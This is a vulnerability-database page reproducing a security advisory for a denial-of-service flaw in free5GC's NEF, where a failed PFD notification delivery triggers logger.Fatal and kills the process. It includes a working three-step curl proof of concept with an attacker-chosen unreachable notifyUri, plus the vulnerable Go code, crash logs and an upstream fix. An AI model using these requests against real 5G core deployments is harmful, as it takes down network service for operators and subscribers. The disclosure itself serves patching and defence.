GHSA-RXRQ-FV76-26PR

Vulnerability from github – Published: 2026-05-08 22:44 – Updated: 2026-05-08 22:44
VLAI
Summary
free5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri)
Details

Summary

free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch Fatal).

The trigger uses three POSTs that are reachable without an Authorization header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the Fatal-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.

Details

Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.1 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-20 (container log timestamp 2026-03-20T16:00:03Z) - NEF endpoint: http://10.100.200.19:8000

Vulnerable notifier path:

_, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify(
    context.TODO(), nc.notifier.getSubURI(id), notifyReq)
if err != nil {
    logger.PFDManageLog.Fatal(err)   // <-- os.Exit(1)-equivalent
}

The failing branch is reached whenever NEF's outbound POST to the subscriber's notifyUri returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns 201 Created and only then does NEF die.

Code evidence (paths in free5gc/nef): - Notifier dispatch: - NFs/nef/internal/sbi/notifier/pfd_notifier.go:135 - Fatal call site (process exit): - NFs/nef/internal/sbi/notifier/pfd_notifier.go:142

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit.

  1. Create an AF context (no Authorization header):
curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \
  -H 'Content-Type: application/json' \
  --data '{"afAppId":"app-nef-dos","anyUeInd":true}'
HTTP/1.1 201 Created
Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1
  1. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally):
curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \
  -H 'Content-Type: application/json' \
  --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}'
HTTP/1.1 201 Created
Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1
  1. Trigger a PFD change so NEF tries to deliver a notification to the bad URI:
curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}'

The PFD POST itself returns 201, but immediately afterward NEF exits.

  1. Confirm the NEF container is dead (exited, exit=1):
docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}'
status=exited restart=0 exit=1
  1. NEF container logs (docker logs --since 2026-03-20T16:00:03Z nef) show the [FATA] line that terminated the process:
[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos]
[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation
[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added
[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions |
[FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused

Impact

Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied notifyUri. logger.Fatal is os.Exit(1)-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.

In v4.2.1, the trigger chain is reachable without an Authorization header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable notifyUri (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same Fatal, so partial fixes that block one URI do not close the family.

No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/nef"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-617",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:44:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nfree5GC\u0027s NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF\u0027s entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`).\n\nThe trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.1`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`)\n- NEF endpoint: `http://10.100.200.19:8000`\n\nVulnerable notifier path:\n```go\n_, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify(\n    context.TODO(), nc.notifier.getSubURI(id), notifyReq)\nif err != nil {\n    logger.PFDManageLog.Fatal(err)   // \u003c-- os.Exit(1)-equivalent\n}\n```\n\nThe failing branch is reached whenever NEF\u0027s outbound POST to the subscriber\u0027s `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die.\n\nCode evidence (paths in `free5gc/nef`):\n- Notifier dispatch:\n  - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135`\n- Fatal call site (process exit):\n  - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -\u003e Fatal -\u003e process exit.\n\n1. Create an AF context (no Authorization header):\n```\ncurl -i -X POST \u0027http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"afAppId\":\"app-nef-dos\",\"anyUeInd\":true}\u0027\n```\n```\nHTTP/1.1 201 Created\nLocation: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1\n```\n\n2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally):\n```\ncurl -i -X POST \u0027http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"applicationIds\":[\"app-nef-dos\"],\"notifyUri\":\"http://127.0.0.1:1/notify\"}\u0027\n```\n```\nHTTP/1.1 201 Created\nLocation: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1\n```\n\n3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI:\n```\ncurl -i -X POST \u0027http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"pfdDatas\":{\"app-nef-dos\":{\"externalAppId\":\"app-nef-dos\",\"pfds\":{\"pfd1\":{\"pfdId\":\"pfd1\",\"flowDescriptions\":[\"permit in ip from 10.68.28.39 80 to any\",\"permit out ip from any to 10.68.28.39 80\"]}}}}}\u0027\n```\nThe PFD POST itself returns `201`, but immediately afterward NEF exits.\n\n4. Confirm the NEF container is dead (`exited`, `exit=1`):\n```\ndocker inspect nef --format \u0027status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}\u0027\n```\n```\nstatus=exited restart=0 exit=1\n```\n\n5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process:\n```\n[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos]\n[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation\n[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added\n[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions |\n[FATA][NEF][PFDMng] Post \"http://127.0.0.1:1/notify\": dial tcp 127.0.0.1:1: connect: connection refused\n```\n\n### Impact\nReachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.\n\nIn v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can:\n- Submit the three-step trigger anonymously and immediately terminate the NEF process.\n- Repeat the trigger after every restart to sustain the outage.\n- Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family.\n\nNo Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/924\nUpstream fix: https://github.com/free5gc/nef/pull/25",
  "id": "GHSA-rxrq-fv76-26pr",
  "modified": "2026-05-08T22:44:35Z",
  "published": "2026-05-08T22:44:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-rxrq-fv76-26pr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/924"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nef/pull/25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nef/commit/f110517b1189801950b50668a593398687049074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…